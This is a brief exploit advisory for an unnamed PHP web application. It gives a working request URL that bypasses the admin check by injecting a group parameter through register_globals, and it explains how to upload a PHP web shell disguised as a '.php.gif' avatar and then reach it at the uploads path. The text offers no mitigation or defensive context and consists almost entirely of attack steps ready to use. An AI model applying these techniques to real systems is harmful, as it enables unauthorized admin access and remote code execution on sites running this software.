		We can bypass admin authorization if register_globals on . All admin panel script include this code
		
		<?php
		if(!in_array(2, $_groups)){
		die("<center><span class=red>You need to be an admin to access this page!</span></center>");
		} 
		?>
		
		test1.ru/skvoznoy/backup.php?_groups[]=2
		
		There is a bug in upload function . We can upload any file bypass filters . Name your shell like 
		file.php.gif and select it as your avatar . Then check uploaded/avatars/filename_your_id.php
